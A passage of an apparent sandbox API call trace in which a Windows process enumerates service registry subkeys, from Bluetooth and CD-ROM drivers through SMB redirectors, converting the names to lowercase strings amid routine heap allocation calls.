cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0248.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.172] RegEnumKeyW (in: hKey=0x154, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0248.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0248.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.172] RegEnumKeyW (in: hKey=0x154, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0248.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0248.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.173] RegEnumKeyW (in: hKey=0x154, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0248.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0248.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.173] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0248.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0248.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.173] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0248.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0248.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f19b8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0248.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.173] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0248.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0248.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.174] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0248.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f19b8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0248.174] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0248.174] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0248.174] RegEnumKeyW (in: hKey=0x154, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0248.174] RegEnumKeyW (in: hKey=0x154, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0248.175] RegEnumKeyW (in: hKey=0x154, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0248.175] RegEnumKeyW (in: hKey=0x154, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0248.175] RegEnumKeyW (in: hKey=0x154, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0248.175] RegEnumKeyW (in: hKey=0x154, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0248.175] RegEnumKeyW (in: hKey=0x154, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0248.175] RegEnumKeyW (in: hKey=0x154, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0248.175] RegEnumKeyW (in: hKey=0x154, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0248.175] RegEnumKeyW (in: hKey=0x154, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0248.175] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0248.175] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0248.175] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0248.175] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0248.176] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0248.176] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0248.176] RegEnumKeyW (in: hKey=0x154, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0248.176] RegEnumKeyW (in: hKey=0x154, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0248.176] RegEnumKeyW (in: hKey=0x154, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0248.176] RegEnumKeyW (in: hKey=0x154, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0248.176] RegEnumKeyW (in: hKey=0x154, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0248.176] RegEnumKeyW (in: hKey=0x154, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0248.176] RegEnumKeyW (in: hKey=0x154, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0248.176] RegEnumKeyW (in: hKey=0x154, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0248.176] RegEnumKeyW (in: hKey=0x154, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0248.176] RegEnumKeyW (in: hKey=0x154, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0248.208] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0248.208] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0248.208] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0248.209] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0248.209] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0248.209] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0248.209] RegEnumKeyW (in: hKey=0x154, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0248.209] RegEnumKeyW (in: hKey=0x154, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0248.209] RegEnumKeyW (in: hKey=0x154, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0248.209] RegEnumKeyW (in: hKey=0x154, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0248.209] RegEnumKeyW (in: hKey=0x154, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0248.209] RegEnumKeyW (in: hKey=0x154, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0248.209] RegEnumKeyW (in: hKey=0x154, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0248.209] RegEnumKeyW (in: hKey=0x154, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0248.209] RegEnumKeyW (in: hKey=0x154, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0248.209] RegEnumKeyW (in: hKey=0x154, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0248.210] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0248.210] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0248.210] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0248.210] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0248.210] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0248.210] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0248.210] RegEnumKeyW (in: hKey=0x154, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0248.210] RegEnumKeyW (in: hKey=0x154, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0248.210] RegEnumKeyW (in: hKey=0x154, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0248.210] RegEnumKeyW (in: hKey=0x154, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0248.210] RegEnumKeyW (in: hKey=0x154, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0248.210] RegEnumKeyW (in: hKey=0x154, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0248.210] RegEnumKeyW (in: hKey=0x154, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0248.211] RegEnumKeyW (in: hKey=0x154, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0248.211] RegEnumKeyW (in: hKey=0x154, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0248.211] RegEnumKeyW (in: hKey=0x154, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0248.211] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0248.211] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0248.211] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0248.211] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0248.211] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0248.211] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0248.211] RegEnumKeyW (in: hKey=0x154, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0248.211] RegEnumKeyW (in: hKey=0x154, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0248.211] RegEnumKeyW (in: hKey=0x154, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0248.211] RegEnumKeyW (in: hKey=0x154, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0248.211] RegEnumKeyW (in: hKey=0x154, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0248.212] RegEnumKeyW (in: hKey=0x154, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0248.212] RegEnumKeyW (in: hKey=0x154, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0248.212] RegEnumKeyW (in: hKey=0x154, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0248.212] RegEnumKeyW (in: hKey=0x154, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0248.212] RegEnumKeyW (in: hKey=0x154, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0248.212] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0248.212] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0248.212] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0248.212] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0248.212] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0248.212] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0248.212] RegEnumKeyW (in: hKey=0x154, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0248.213] RegEnumKeyW (in: hKey=0x154, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0248.213] RegEnumKeyW (in: hKey=0x154, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0248.213] RegEnumKeyW (in: hKey=0x154, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0248.213] RegEnumKeyW (in: hKey=0x154, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0248.213] RegEnumKeyW (in: hKey=0x154, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0248.213] RegEnumKeyW (in: hKey=0x154, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0248.213] RegEnumKeyW (in: hKey=0x154, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0248.213] RegEnumKeyW (in: hKey=0x154, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0248.213] RegEnumKeyW (in: hKey=0x154, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0248.213] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0248.213] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0248.213] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0248.213] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0248.214] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0248.214] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0248.214] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0248.214] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0248.214] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0248.214] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0248.214] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0248.214] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0248.214] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0248.214] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0248.214] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0248.214] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0248.214] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0248.214] RegEnumKeyW (in: hKey=0x154, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0248.215] RegEnumKeyW (in: hKey=0x154, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0248.215] RegEnumKeyW (in: hKey=0x154, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0248.215] RegEnumKeyW (in: hKey=0x154, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0248.215] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0248.215] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0248.215] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0248.215] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0248.215] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0248.215] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0248.215] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0248.215] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0248.215] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0248.215] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0248.216] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0248.216] RegEnumKeyW (in: hKey=0x154, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0248.216] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0248.216] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0248.216] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0248.216] RegEnumKeyW (in: 